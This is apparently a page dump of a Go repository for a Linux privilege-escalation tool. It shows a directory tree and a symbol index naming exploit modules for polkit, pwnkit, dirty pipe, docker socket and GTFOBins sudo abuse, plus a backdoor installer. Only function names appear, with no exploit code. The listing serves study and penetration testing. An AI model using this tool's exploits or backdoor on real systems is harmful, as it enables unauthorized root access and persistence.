    │       │   │   ├── asm_linux_mipsx.s
    │       │   │   ├── asm_linux_ppc64x.s
    │       │   │   ├── asm_linux_riscv64.s
    │       │   │   ├── asm_linux_s390x.s
    │       │   │   ├── asm_openbsd_mips64.s
    │       │   │   ├── asm_solaris_amd64.s
    │       │   │   ├── asm_zos_s390x.s
    │       │   │   ├── bluetooth_linux.go
    │       │   │   ├── cap_freebsd.go
    │       │   │   ├── constants.go
    │       │   │   ├── dev_aix_ppc.go
    │       │   │   ├── dev_aix_ppc64.go
    │       │   │   ├── dev_darwin.go
    │       │   │   ├── dev_dragonfly.go
    │       │   │   ├── dev_freebsd.go
    │       │   │   ├── dev_linux.go
    │       │   │   ├── dev_netbsd.go
    │       │   │   ├── dev_openbsd.go
    │       │   │   ├── dev_zos.go
    │       │   │   ├── dirent.go
    │       │   │   ├── endian_big.go
    │       │   │   ├── endian_little.go
    │       │   │   ├── env_unix.go
    │       │   │   ├── epoll_zos.go
    │       │   │   ├── errors_freebsd_386.go
    │       │   │   ├── errors_freebsd_amd64.go
    │       │   │   ├── errors_freebsd_arm.go
    │       │   │   ├── errors_freebsd_arm64.go
    │       │   │   ├── fcntl.go
    │       │   │   ├── fcntl_darwin.go
    │       │   │   ├── fcntl_linux_32bit.go
    │       │   │   ├── fdset.go
    │       │   │   ├── fstatfs_zos.go
    │       │   │   ├── gccgo.go
    │       │   │   ├── gccgo_c.c
    │       │   │   ├── gccgo_linux_amd64.go
    │       │   │   ├── ifreq_linux.go
    │       │   │   ├── ioctl.go
    │       │   │   ├── ioctl_linux.go
    │       │   │   ├── ioctl_zos.go
    │       │   │   ├── mkall.sh
    │       │   │   ├── mkerrors.sh
    │       │   │   ├── pagesize_unix.go
    │       │   │   ├── pledge_openbsd.go
    │       │   │   ├── ptrace_darwin.go
    │       │   │   ├── ptrace_ios.go
    │       │   │   ├── race.go
    │       │   │   ├── race0.go
    │       │   │   ├── readdirent_getdents.go
    │       │   │   ├── readdirent_getdirentries.go
    │       │   │   ├── sockcmsg_dragonfly.go
    │       │   │   ├── sockcmsg_linux.go
    │       │   │   ├── sockcmsg_unix.go
    │       │   │   ├── sockcmsg_unix_other.go
    │       │   │   ├── str.go
    │       │   │   ├── syscall.go
    │       │   │   ├── syscall_aix.go
    │       │   │   ├── syscall_aix_ppc.go
    │       │   │   ├── syscall_aix_ppc64.go
    │       │   │   ├── syscall_bsd.go
    │       │   │   ├── syscall_darwin.1_12.go
    │       │   │   ├── syscall_darwin.1_13.go
    │       │   │   ├── syscall_darwin.go
    │       │   │   ├── syscall_darwin_amd64.go
    │       │   │   ├── syscall_darwin_arm64.go
    │       │   │   ├── syscall_darwin_libSystem.go
    │       │   │   ├── syscall_dragonfly.go
    │       │   │   ├── syscall_dragonfly_amd64.go
    │       │   │   ├── syscall_freebsd.go
    │       │   │   ├── syscall_freebsd_386.go
    │       │   │   ├── syscall_freebsd_amd64.go
    │       │   │   ├── syscall_freebsd_arm.go
    │       │   │   ├── syscall_freebsd_arm64.go
    │       │   │   ├── syscall_illumos.go
    │       │   │   ├── syscall_linux.go
    │       │   │   ├── syscall_linux_386.go
    │       │   │   ├── syscall_linux_alarm.go
    │       │   │   ├── syscall_linux_amd64.go
    │       │   │   ├── syscall_linux_amd64_gc.go
    │       │   │   ├── syscall_linux_arm.go
    │       │   │   ├── syscall_linux_arm64.go
    │       │   │   ├── syscall_linux_gc.go
    │       │   │   ├── syscall_linux_gc_386.go
    │       │   │   ├── syscall_linux_gc_arm.go
    │       │   │   ├── syscall_linux_gccgo_386.go
    │       │   │   ├── syscall_linux_gccgo_arm.go
    │       │   │   ├── syscall_linux_loong64.go
    │       │   │   ├── syscall_linux_mips64x.go
    │       │   │   ├── syscall_linux_mipsx.go
    │       │   │   ├── syscall_linux_ppc.go
    │       │   │   ├── syscall_linux_ppc64x.go
    │       │   │   ├── syscall_linux_riscv64.go
    │       │   │   ├── syscall_linux_s390x.go
    │       │   │   ├── syscall_linux_sparc64.go
    │       │   │   ├── syscall_netbsd.go
    │       │   │   ├── syscall_netbsd_386.go
    │       │   │   ├── syscall_netbsd_amd64.go
    │       │   │   ├── syscall_netbsd_arm.go
    │       │   │   ├── syscall_netbsd_arm64.go
    │       │   │   ├── syscall_openbsd.go
    │       │   │   ├── syscall_openbsd_386.go
    │       │   │   ├── syscall_openbsd_amd64.go
    │       │   │   ├── syscall_openbsd_arm.go
    │       │   │   ├── syscall_openbsd_arm64.go
    │       │   │   ├── syscall_openbsd_mips64.go
    │       │   │   ├── syscall_solaris.go
    │       │   │   ├── syscall_solaris_amd64.go
    │       │   │   ├── syscall_unix.go
    │       │   │   ├── syscall_unix_gc.go
    │       │   │   ├── syscall_unix_gc_ppc64x.go
    │       │   │   ├── syscall_zos_s390x.go
    │       │   │   ├── sysvshm_linux.go
    │       │   │   ├── sysvshm_unix.go
    │       │   │   ├── sysvshm_unix_other.go
    │       │   │   ├── timestruct.go
    │       │   │   ├── unveil_openbsd.go
    │       │   │   ├── xattr_bsd.go
    │       │   │   ├── zerrors_aix_ppc.go
    │       │   │   ├── zerrors_aix_ppc64.go
    │       │   │   ├── zerrors_darwin_amd64.go
    │       │   │   ├── zerrors_darwin_arm64.go
    │       │   │   ├── zerrors_dragonfly_amd64.go
    │       │   │   ├── zerrors_freebsd_386.go
    │       │   │   ├── zerrors_freebsd_amd64.go
    │       │   │   ├── zerrors_freebsd_arm.go
    │       │   │   ├── zerrors_freebsd_arm64.go
    │       │   │   ├── zerrors_linux.go
    │       │   │   ├── zerrors_linux_386.go
    │       │   │   ├── zerrors_linux_amd64.go
    │       │   │   ├── zerrors_linux_arm.go
    │       │   │   ├── zerrors_linux_arm64.go
    │       │   │   ├── zerrors_linux_loong64.go
    │       │   │   ├── zerrors_linux_mips.go
    │       │   │   ├── zerrors_linux_mips64.go
    │       │   │   ├── zerrors_linux_mips64le.go
    │       │   │   ├── zerrors_linux_mipsle.go
    │       │   │   ├── zerrors_linux_ppc.go
    │       │   │   ├── zerrors_linux_ppc64.go
    │       │   │   ├── zerrors_linux_ppc64le.go
    │       │   │   ├── zerrors_linux_riscv64.go
    │       │   │   ├── zerrors_linux_s390x.go
    │       │   │   ├── zerrors_linux_sparc64.go
    │       │   │   ├── zerrors_netbsd_386.go
    │       │   │   ├── zerrors_netbsd_amd64.go
    │       │   │   ├── zerrors_netbsd_arm.go
    │       │   │   ├── zerrors_netbsd_arm64.go
    │       │   │   ├── zerrors_openbsd_386.go
    │       │   │   ├── zerrors_openbsd_amd64.go
    │       │   │   ├── zerrors_openbsd_arm.go
    │       │   │   ├── zerrors_openbsd_arm64.go
    │       │   │   ├── zerrors_openbsd_mips64.go
    │       │   │   ├── zerrors_solaris_amd64.go
    │       │   │   ├── zerrors_zos_s390x.go
    │       │   │   ├── zptrace_armnn_linux.go
    │       │   │   ├── zptrace_linux_arm64.go
    │       │   │   ├── zptrace_mipsnn_linux.go
    │       │   │   ├── zptrace_mipsnnle_linux.go
    │       │   │   ├── zptrace_x86_linux.go
    │       │   │   ├── zsyscall_aix_ppc.go
    │       │   │   ├── zsyscall_aix_ppc64.go
    │       │   │   ├── zsyscall_aix_ppc64_gc.go
    │       │   │   ├── zsyscall_aix_ppc64_gccgo.go
    │       │   │   ├── zsyscall_darwin_amd64.1_13.go
    │       │   │   ├── zsyscall_darwin_amd64.1_13.s
    │       │   │   ├── zsyscall_darwin_amd64.go
    │       │   │   ├── zsyscall_darwin_amd64.s
    │       │   │   ├── zsyscall_darwin_arm64.1_13.go
    │       │   │   ├── zsyscall_darwin_arm64.1_13.s
    │       │   │   ├── zsyscall_darwin_arm64.go
    │       │   │   ├── zsyscall_darwin_arm64.s
    │       │   │   ├── zsyscall_dragonfly_amd64.go
    │       │   │   ├── zsyscall_freebsd_386.go
    │       │   │   ├── zsyscall_freebsd_amd64.go
    │       │   │   ├── zsyscall_freebsd_arm.go
    │       │   │   ├── zsyscall_freebsd_arm64.go
    │       │   │   ├── zsyscall_illumos_amd64.go
    │       │   │   ├── zsyscall_linux.go
    │       │   │   ├── zsyscall_linux_386.go
    │       │   │   ├── zsyscall_linux_amd64.go
    │       │   │   ├── zsyscall_linux_arm.go
    │       │   │   ├── zsyscall_linux_arm64.go
    │       │   │   ├── zsyscall_linux_loong64.go
    │       │   │   ├── zsyscall_linux_mips.go
    │       │   │   ├── zsyscall_linux_mips64.go
    │       │   │   ├── zsyscall_linux_mips64le.go
    │       │   │   ├── zsyscall_linux_mipsle.go
    │       │   │   ├── zsyscall_linux_ppc.go
    │       │   │   ├── zsyscall_linux_ppc64.go
    │       │   │   ├── zsyscall_linux_ppc64le.go
    │       │   │   ├── zsyscall_linux_riscv64.go
    │       │   │   ├── zsyscall_linux_s390x.go
    │       │   │   ├── zsyscall_linux_sparc64.go
    │       │   │   ├── zsyscall_netbsd_386.go
    │       │   │   ├── zsyscall_netbsd_amd64.go
    │       │   │   ├── zsyscall_netbsd_arm.go
    │       │   │   ├── zsyscall_netbsd_arm64.go
    │       │   │   ├── zsyscall_openbsd_386.go
    │       │   │   ├── zsyscall_openbsd_amd64.go
    │       │   │   ├── zsyscall_openbsd_arm.go
    │       │   │   ├── zsyscall_openbsd_arm64.go
    │       │   │   ├── zsyscall_openbsd_mips64.go
    │       │   │   ├── zsyscall_solaris_amd64.go
    │       │   │   ├── zsyscall_zos_s390x.go
    │       │   │   ├── zsysctl_openbsd_386.go
    │       │   │   ├── zsysctl_openbsd_amd64.go
    │       │   │   ├── zsysctl_openbsd_arm.go
    │       │   │   ├── zsysctl_openbsd_arm64.go
    │       │   │   ├── zsysctl_openbsd_mips64.go
    │       │   │   ├── zsysnum_darwin_amd64.go
    │       │   │   ├── zsysnum_darwin_arm64.go
    │       │   │   ├── zsysnum_dragonfly_amd64.go
    │       │   │   ├── zsysnum_freebsd_386.go
    │       │   │   ├── zsysnum_freebsd_amd64.go
    │       │   │   ├── zsysnum_freebsd_arm.go
    │       │   │   ├── zsysnum_freebsd_arm64.go
    │       │   │   ├── zsysnum_linux_386.go
    │       │   │   ├── zsysnum_linux_amd64.go
    │       │   │   ├── zsysnum_linux_arm.go
    │       │   │   ├── zsysnum_linux_arm64.go
    │       │   │   ├── zsysnum_linux_loong64.go
    │       │   │   ├── zsysnum_linux_mips.go
    │       │   │   ├── zsysnum_linux_mips64.go
    │       │   │   ├── zsysnum_linux_mips64le.go
    │       │   │   ├── zsysnum_linux_mipsle.go
    │       │   │   ├── zsysnum_linux_ppc.go
    │       │   │   ├── zsysnum_linux_ppc64.go
    │       │   │   ├── zsysnum_linux_ppc64le.go
    │       │   │   ├── zsysnum_linux_riscv64.go
    │       │   │   ├── zsysnum_linux_s390x.go
    │       │   │   ├── zsysnum_linux_sparc64.go
    │       │   │   ├── zsysnum_netbsd_386.go
    │       │   │   ├── zsysnum_netbsd_amd64.go
    │       │   │   ├── zsysnum_netbsd_arm.go
    │       │   │   ├── zsysnum_netbsd_arm64.go
    │       │   │   ├── zsysnum_openbsd_386.go
    │       │   │   ├── zsysnum_openbsd_amd64.go
    │       │   │   ├── zsysnum_openbsd_arm.go
    │       │   │   ├── zsysnum_openbsd_arm64.go
    │       │   │   ├── zsysnum_openbsd_mips64.go
    │       │   │   ├── zsysnum_zos_s390x.go
    │       │   │   ├── ztypes_aix_ppc.go
    │       │   │   ├── ztypes_aix_ppc64.go
    │       │   │   ├── ztypes_darwin_amd64.go
    │       │   │   ├── ztypes_darwin_arm64.go
    │       │   │   ├── ztypes_dragonfly_amd64.go
    │       │   │   ├── ztypes_freebsd_386.go
    │       │   │   ├── ztypes_freebsd_amd64.go
    │       │   │   ├── ztypes_freebsd_arm.go
    │       │   │   ├── ztypes_freebsd_arm64.go
    │       │   │   ├── ztypes_illumos_amd64.go
    │       │   │   ├── ztypes_linux.go
    │       │   │   ├── ztypes_linux_386.go
    │       │   │   ├── ztypes_linux_amd64.go
    │       │   │   ├── ztypes_linux_arm.go
    │       │   │   ├── ztypes_linux_arm64.go
    │       │   │   ├── ztypes_linux_loong64.go
    │       │   │   ├── ztypes_linux_mips.go
    │       │   │   ├── ztypes_linux_mips64.go
    │       │   │   ├── ztypes_linux_mips64le.go
    │       │   │   ├── ztypes_linux_mipsle.go
    │       │   │   ├── ztypes_linux_ppc.go
    │       │   │   ├── ztypes_linux_ppc64.go
    │       │   │   ├── ztypes_linux_ppc64le.go
    │       │   │   ├── ztypes_linux_riscv64.go
    │       │   │   ├── ztypes_linux_s390x.go
    │       │   │   ├── ztypes_linux_sparc64.go
    │       │   │   ├── ztypes_netbsd_386.go
    │       │   │   ├── ztypes_netbsd_amd64.go
    │       │   │   ├── ztypes_netbsd_arm.go
    │       │   │   ├── ztypes_netbsd_arm64.go
    │       │   │   ├── ztypes_openbsd_386.go
    │       │   │   ├── ztypes_openbsd_amd64.go
    │       │   │   ├── ztypes_openbsd_arm.go
    │       │   │   ├── ztypes_openbsd_arm64.go
    │       │   │   ├── ztypes_openbsd_mips64.go
    │       │   │   ├── ztypes_solaris_amd64.go
    │       │   │   └── ztypes_zos_s390x.go
    │       │   └── windows/
    │       │       ├── aliases.go
    │       │       ├── dll_windows.go
    │       │       ├── empty.s
    │       │       ├── env_windows.go
    │       │       ├── eventlog.go
    │       │       ├── exec_windows.go
    │       │       ├── memory_windows.go
    │       │       ├── mkerrors.bash
    │       │       ├── mkknownfolderids.bash
    │       │       ├── mksyscall.go
    │       │       ├── race.go
    │       │       ├── race0.go
    │       │       ├── security_windows.go
    │       │       ├── service.go
    │       │       ├── setupapi_windows.go
    │       │       ├── str.go
    │       │       ├── syscall.go
    │       │       ├── syscall_windows.go
    │       │       ├── types_windows.go
    │       │       ├── types_windows_386.go
    │       │       ├── types_windows_amd64.go
    │       │       ├── types_windows_arm.go
    │       │       ├── types_windows_arm64.go
    │       │       ├── zerrors_windows.go
    │       │       ├── zknownfolderids_windows.go
    │       │       └── zsyscall_windows.go
    │       └── term/
    │           ├── AUTHORS
    │           ├── CONTRIBUTING.md
    │           ├── CONTRIBUTORS
    │           ├── LICENSE
    │           ├── PATENTS
    │           ├── README.md
    │           ├── codereview.cfg
    │           ├── term.go
    │           ├── term_plan9.go
    │           ├── term_unix.go
    │           ├── term_unix_bsd.go
    │           ├── term_unix_other.go
    │           ├── term_unsupported.go
    │           ├── term_windows.go
    │           └── terminal.go
    └── modules.txt
Download .txt
Showing preview only (7,339K chars total). Download the full file or copy to clipboard to get everything.
SYMBOL INDEX (86415 symbols across 447 files)

FILE: cmd/pack/main.go
  constant outputDir (line 12) | outputDir = "./pkg/exploits/cve20214034"
  function main (line 14) | func main() {
  function buildPwnkitSharedObjects (line 20) | func buildPwnkitSharedObjects() error {

FILE: cmd/traitor/main.go
  function main (line 7) | func main() {

FILE: internal/cmd/backdoor.go
  function init (line 12) | func init() {

FILE: internal/cmd/list.go
  function init (line 10) | func init() {

FILE: internal/cmd/root.go
  function init (line 24) | func init() {
  function shouldSkip (line 108) | func shouldSkip(id string) bool {
  function Execute (line 117) | func Execute() {

FILE: internal/cmd/setuid.go
  function init (line 16) | func init() {
  function fail (line 74) | func fail(format string, args ...interface{}) {

FILE: internal/pipe/pipe.go
  type LockablePipe (line 11) | type LockablePipe struct
    method Flush (line 23) | func (l *LockablePipe) Flush() []byte {
    method WaitForString (line 31) | func (l *LockablePipe) WaitForString(expected string, until time.Durat...
    method Read (line 69) | func (l *LockablePipe) Read(p []byte) (n int, err error) {
  function NewLockable (line 17) | func NewLockable(input io.Reader) *LockablePipe {

FILE: pkg/backdoor/traitor.go
  type Metadata (line 15) | type Metadata struct
  function findWritableDirectory (line 30) | func findWritableDirectory() (string, error) {
  function Uninstall (line 50) | func Uninstall(path string) error {
  function Install (line 54) | func Install() (*string, error) {
  function InstallToPath (line 82) | func InstallToPath(path string) (*string, error) {

FILE: pkg/exploits/all.go
  function init (line 10) | func init() {
  function init (line 14) | func init() {
  function init (line 18) | func init() {
  function init (line 22) | func init() {

FILE: pkg/exploits/cve20213560/exploit.go
  type exploit (line 26) | type exploit struct
    method isVulnerableDebian (line 36) | func (v *exploit) isVulnerableDebian(s *state.State) bool {
    method isVulnerableOther (line 71) | func (v *exploit) isVulnerableOther() bool {
    method IsVulnerable (line 97) | func (v *exploit) IsVulnerable(_ context.Context, s *state.State, log ...
    method Shell (line 115) | func (v *exploit) Shell(ctx context.Context, s *state.State, log logge...
    method Exploit (line 119) | func (v *exploit) Exploit(ctx context.Context, s *state.State, log log...
    method createUser (line 229) | func (v *exploit) createUser(log logger.Logger) (*user.User, error) {
    method setPassword (line 266) | func (v *exploit) setPassword(u *user.User, log logger.Logger) string {
    method timeDbusCommand (line 299) | func (v *exploit) timeDbusCommand(args []string) time.Duration {
    method installPackage (line 313) | func (v *exploit) installPackage(name string, s *state.State, log logg...
  function New (line 29) | func New() *exploit {

FILE: pkg/exploits/cve20214034/exploit.go
  type cve20214034Exploit (line 22) | type cve20214034Exploit struct
    method IsVulnerable (line 33) | func (v *cve20214034Exploit) IsVulnerable(ctx context.Context, s *stat...
    method Shell (line 68) | func (v *cve20214034Exploit) Shell(ctx context.Context, s *state.State...
    method writeSharedObject (line 72) | func (v *cve20214034Exploit) writeSharedObject(path string, aggro bool...
    method Exploit (line 118) | func (v *cve20214034Exploit) Exploit(ctx context.Context, s *state.Sta...
  function New (line 26) | func New() *cve20214034Exploit {

FILE: pkg/exploits/cve20220847/exploit.go
  type cve20220847Exploit (line 21) | type cve20220847Exploit struct
    method IsVulnerable (line 33) | func (v *cve20220847Exploit) IsVulnerable(ctx context.Context, s *stat...
    method Shell (line 79) | func (v *cve20220847Exploit) Shell(ctx context.Context, s *state.State...
    method Exploit (line 83) | func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.Sta...
    method writeToFile (line 114) | func (v *cve20220847Exploit) writeToFile(path string, offset int64, da...
    method dirtyThatPipe (line 156) | func (v *cve20220847Exploit) dirtyThatPipe() (r *os.File, w *os.File, ...
  function New (line 26) | func New() *cve20220847Exploit {

FILE: pkg/exploits/dockersock/exploit.go
  type writableDockerSocketExploit (line 29) | type writableDockerSocketExploit struct
    method IsVulnerable (line 49) | func (v *writableDockerSocketExploit) IsVulnerable(_ context.Context, ...
    method Shell (line 58) | func (v *writableDockerSocketExploit) Shell(ctx context.Context, s *st...
    method deleteContainer (line 62) | func (v *writableDockerSocketExploit) deleteContainer(id string) error {
    method deleteImage (line 81) | func (v *writableDockerSocketExploit) deleteImage(name string) error {
    method Exploit (line 100) | func (v *writableDockerSocketExploit) Exploit(ctx context.Context, s *...
    method buildTarball (line 149) | func (v *writableDockerSocketExploit) buildTarball(writer io.Writer) e...
    method listLocalImages (line 176) | func (v *writableDockerSocketExploit) listLocalImages() ([]string, err...
    method exploitWithImage (line 209) | func (v *writableDockerSocketExploit) exploitWithImage(image string, r...
  function New (line 34) | func New() *writableDockerSocketExploit {

FILE: pkg/exploits/gtfobins.go
  type gtfobinsExploit (line 24) | type gtfobinsExploit struct
    method IsVulnerable (line 879) | func (v *gtfobinsExploit) IsVulnerable(_ context.Context, state *state...
    method Shell (line 898) | func (v *gtfobinsExploit) Shell(ctx context.Context, s *state.State, l...
    method Exploit (line 902) | func (v *gtfobinsExploit) Exploit(ctx context.Context, s *state.State,...
  function NewGTFOBinsExploit (line 33) | func NewGTFOBinsExploit(binaryName string, inputs []string, args []strin...
  function registerGTFOBinsExploit (line 43) | func registerGTFOBinsExploit(binaryName string, args []string, inputs []...
  function init (line 51) | func init() {

FILE: pkg/exploits/registration.go
  type Speed (line 3) | type Speed
  constant SpeedAny (line 6) | SpeedAny Speed = iota
  constant SpeedSlow (line 7) | SpeedSlow
  constant SpeedFast (line 8) | SpeedFast
  type Registration (line 11) | type Registration struct
  function Get (line 19) | func Get(speed Speed) []Registration {
  function register (line 29) | func register(name string, speed Speed, vulnerability Vulnerability) {

FILE: pkg/exploits/types.go
  type Vulnerability (line 13) | type Vulnerability interface
  type Exploit (line 17) | type Exploit interface
  type ShellDropper (line 21) | type ShellDropper interface
  type Disclosure (line 25) | type Disclosure interface

FILE: pkg/logger/logger.go
  type Logger (line 9) | type Logger struct
    method Silenced (line 18) | func (logger Logger) Silenced() Logger {
    method WithTitle (line 23) | func (logger Logger) WithTitle(title string) Logger {
    method Printf (line 28) | func (logger Logger) Printf(format string, args ...interface{}) {
  function New (line 14) | func New() Logger {

FILE: pkg/payloads/payloads.go
  type Payload (line 3) | type Payload

FILE: pkg/random/filename.go
  function init (line 8) | func init() {
  function Filename (line 14) | func Filename() string {
  function Image (line 24) | func Image() string {

FILE: pkg/shell/password.go
  function WithPassword (line 18) | func WithPassword(username, password string, log logger.Logger) error {

FILE: pkg/state/distro.go
  type DistributionID (line 8) | type DistributionID
  constant UnknownLinux (line 11) | UnknownLinux DistributionID = "linux"
  constant Ubuntu (line 12) | Ubuntu       DistributionID = "ubuntu"
  constant Debian (line 13) | Debian       DistributionID = "debian"
  constant Arch (line 14) | Arch         DistributionID = "arch"
  constant RHEL (line 15) | RHEL         DistributionID = "rhel"
  constant Fedora (line 16) | Fedora       DistributionID = "fedora"
  constant CentOS (line 17) | CentOS       DistributionID = "centos"
  constant Kali (line 18) | Kali         DistributionID = "kali"
  constant Parrot (line 19) | Parrot       DistributionID = "parrot"
  constant Alpine (line 20) | Alpine       DistributionID = "alpine"
  constant OpenSUSE (line 21) | OpenSUSE     DistributionID = "opensuse"
  method processDistro (line 24) | func (s *State) processDistro() {
  method IsDebianLike (line 40) | func (s *State) IsDebianLike() bool {

FILE: pkg/state/kernel.go
  function kernelVersion (line 5) | func kernelVersion() string {

FILE: pkg/state/packages.go
  method IsPackageInstalled (line 5) | func (s *State) IsPackageInstalled(name string) bool {

FILE: pkg/state/state.go
  type State (line 5) | type State struct
    method Assess (line 18) | func (s *State) Assess() {
  function New (line 14) | func New() *State {

FILE: pkg/state/sudoers.go
  method processSudoers (line 11) | func (s *State) processSudoers(hostname string) {
  type SudoEntry (line 42) | type SudoEntry struct
  type Sudoers (line 54) | type Sudoers
    method GetEntryForBinary (line 56) | func (s Sudoers) GetEntryForBinary(binary string, hasPasswd bool) (*Su...
  function parseSudoLine (line 67) | func parseSudoLine(line string, hostname string) (*SudoEntry, error) {

FILE: vendor/github.com/creack/pty/doc.go
  function Open (line 14) | func Open() (pty, tty *os.File, err error) {

FILE: vendor/github.com/creack/pty/ioctl.go
  constant TIOCGWINSZ (line 9) | TIOCGWINSZ = syscall.TIOCGWINSZ
  constant TIOCSWINSZ (line 10) | TIOCSWINSZ = syscall.TIOCSWINSZ
  function ioctl (line 13) | func ioctl(fd, cmd, ptr uintptr) error {

FILE: vendor/github.com/creack/pty/ioctl_bsd.go
  constant _IOC_VOID (line 8) | _IOC_VOID    uintptr = 0x20000000
  constant _IOC_OUT (line 9) | _IOC_OUT     uintptr = 0x40000000
  constant _IOC_IN (line 10) | _IOC_IN      uintptr = 0x80000000
  constant _IOC_IN_OUT (line 11) | _IOC_IN_OUT  uintptr = _IOC_OUT | _IOC_IN
  constant _IOC_DIRMASK (line 12) | _IOC_DIRMASK         = _IOC_VOID | _IOC_OUT | _IOC_IN
  constant _IOC_PARAM_SHIFT (line 14) | _IOC_PARAM_SHIFT = 13
  constant _IOC_PARAM_MASK (line 15) | _IOC_PARAM_MASK  = (1 << _IOC_PARAM_SHIFT) - 1
  function _IOC_PARM_LEN (line 18) | func _IOC_PARM_LEN(ioctl uintptr) uintptr {
  function _IOC (line 22) | func _IOC(inout uintptr, group byte, ioctl_num uintptr, param_len uintpt...
  function _IO (line 26) | func _IO(group byte, ioctl_num uintptr) uintptr {
  function _IOR (line 30) | func _IOR(group byte, ioctl_num uintptr, param_len uintptr) uintptr {
  function _IOW (line 34) | func _IOW(group byte, ioctl_num uintptr, param_len uintptr) uintptr {
  function _IOWR (line 38) | func _IOWR(group byte, ioctl_num uintptr, param_len uintptr) uintptr {

FILE: vendor/github.com/creack/pty/ioctl_solaris.go
  constant I_PUSH (line 17) | I_PUSH = uintptr((int32('S')<<8 | 002))
  constant I_STR (line 18) | I_STR  = uintptr((int32('S')<<8 | 010))
  constant I_FIND (line 19) | I_FIND = uintptr((int32('S')<<8 | 013))
  constant ISPTM (line 22) | ISPTM   = (int32('P') << 8) | 1
  constant UNLKPT (line 23) | UNLKPT  = (int32('P') << 8) | 2
  constant PTSSTTY (line 24) | PTSSTTY = (int32('P') << 8) | 3
  constant ZONEPT (line 25) | ZONEPT  = (int32('P') << 8) | 4
  constant OWNERPT (line 26) | OWNERPT = (int32('P') << 8) | 5
  constant TIOCSWINSZ (line 29) | TIOCSWINSZ = (uint32('T') << 8) | 103
  constant TIOCGWINSZ (line 30) | TIOCGWINSZ = (uint32('T') << 8) | 104
  type strioctl (line 33) | type strioctl struct
  function sysvicall6 (line 41) | func sysvicall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uin...
  function ioctl (line 43) | func ioctl(fd, cmd, ptr uintptr) error {

FILE: vendor/github.com/creack/pty/ioctl_unsupported.go
  constant TIOCGWINSZ (line 7) | TIOCGWINSZ = 0
  constant TIOCSWINSZ (line 8) | TIOCSWINSZ = 0
  function ioctl (line 11) | func ioctl(fd, cmd, ptr uintptr) error {

FILE: vendor/github.com/creack/pty/pty_darwin.go
  function open (line 13) | func open() (pty, tty *os.File, err error) {
  function ptsname (line 46) | func ptsname(f *os.File) (string, error) {
  function grantpt (line 62) | func grantpt(f *os.File) error {
  function unlockpt (line 66) | func unlockpt(f *os.File) error {

FILE: vendor/github.com/creack/pty/pty_dragonfly.go
  function open (line 15) | func open() (pty, tty *os.File, err error) {
  function grantpt (line 47) | func grantpt(f *os.File) error {
  function unlockpt (line 52) | func unlockpt(f *os.File) error {
  function isptmaster (line 57) | func isptmaster(fd uintptr) (bool, error) {
  function ptsname (line 67) | func ptsname(f *os.File) (string, error) {

FILE: vendor/github.com/creack/pty/pty_freebsd.go
  function posixOpenpt (line 13) | func posixOpenpt(oflag int) (fd int, err error) {
  function open (line 22) | func open() (pty, tty *os.File, err error) {
  function isptmaster (line 47) | func isptmaster(fd uintptr) (bool, error) {
  function ptsname (line 57) | func ptsname(f *os.File) (string, error) {

FILE: vendor/github.com/creack/pty/pty_linux.go
  function open (line 13) | func open() (pty, tty *os.File, err error) {
  function ptsname (line 41) | func ptsname(f *os.File) (string, error) {
  function unlockpt (line 50) | func unlockpt(f *os.File) error {

FILE: vendor/github.com/creack/pty/pty_netbsd.go
  function open (line 13) | func open() (pty, tty *os.File, err error) {
  function ptsname (line 43) | func ptsname(f *os.File) (string, error) {
  function grantpt (line 63) | func grantpt(f *os.File) error {

FILE: vendor/github.com/creack/pty/pty_openbsd.go
  function open (line 12) | func open() (pty, tty *os.File, err error) {

FILE: vendor/github.com/creack/pty/pty_solaris.go
  function open (line 18) | func open() (pty, tty *os.File, err error) {
  function ptsname (line 67) | func ptsname(f *os.File) (string, error) {
  function unlockpt (line 80) | func unlockpt(f *os.File) error {
  function minor (line 90) | func minor(x uint64) uint64 { return x & 0377 }
  function ptsdev (line 92) | func ptsdev(fd uintptr) (uint64, error) {
  type ptOwn (line 110) | type ptOwn struct
  function grantpt (line 115) | func grantpt(f *os.File) error {
  function streamsPush (line 137) | func streamsPush(f *os.File, mod string) error {

FILE: vendor/github.com/creack/pty/pty_unsupported.go
  function open (line 10) | func open() (pty, tty *os.File, err error) {

FILE: vendor/github.com/creack/pty/run.go
  function Start (line 14) | func Start(cmd *exec.Cmd) (*os.File, error) {
  function StartWithAttrs (line 27) | func StartWithAttrs(c *exec.Cmd, sz *Winsize, attrs *syscall.SysProcAttr...

FILE: vendor/github.com/creack/pty/start.go
  function StartWithSize (line 18) | func StartWithSize(cmd *exec.Cmd, ws *Winsize) (*os.File, error) {

FILE: vendor/github.com/creack/pty/start_windows.go
  function StartWithSize (line 17) | func StartWithSize(cmd *exec.Cmd, ws *Winsize) (*os.File, error) {

FILE: vendor/github.com/creack/pty/winsize.go
  function InheritSize (line 8) | func InheritSize(pty, tty *os.File) error {
  function Getsize (line 21) | func Getsize(t *os.File) (rows, cols int, err error) {

FILE: vendor/github.com/creack/pty/winsize_unix.go
  type Winsize (line 13) | type Winsize struct
  function Setsize (line 21) | func Setsize(t *os.File, ws *Winsize) error {
  function GetsizeFull (line 27) | func GetsizeFull(t *os.File) (size *Winsize, err error) {

FILE: vendor/github.com/creack/pty/winsize_unsupported.go
  type Winsize (line 11) | type Winsize struct
  function Setsize (line 16) | func Setsize(*os.File, *Winsize) error {
  function GetsizeFull (line 21) | func GetsizeFull(*os.File) (*Winsize, error) {

FILE: vendor/github.com/creack/pty/ztypes_386.go
  type _C_int (line 10) | type _C_int
  type _C_uint (line 11) | type _C_uint

FILE: vendor/github.com/creack/pty/ztypes_amd64.go
  type _C_int (line 10) | type _C_int
  type _C_uint (line 11) | type _C_uint

FILE: vendor/github.com/creack/pty/ztypes_arm.go
  type _C_int (line 10) | type _C_int
  type _C_uint (line 11) | type _C_uint

FILE: vendor/github.com/creack/pty/ztypes_arm64.go
  type _C_int (line 10) | type _C_int
  type _C_uint (line 11) | type _C_uint

FILE: vendor/github.com/creack/pty/ztypes_dragonfly_amd64.go
  constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0x3f
  type fiodgnameArg (line 13) | type fiodgnameArg struct

FILE: vendor/github.com/creack/pty/ztypes_freebsd_386.go
  constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0x3f
  type fiodgnameArg (line 13) | type fiodgnameArg struct

FILE: vendor/github.com/creack/pty/ztypes_freebsd_amd64.go
  constant _C_SPECNAMELEN (line 10) | _C_SPECNAMELEN = 0x3f
  type fiodgnameArg (line 13) | type fiodgnameArg struct

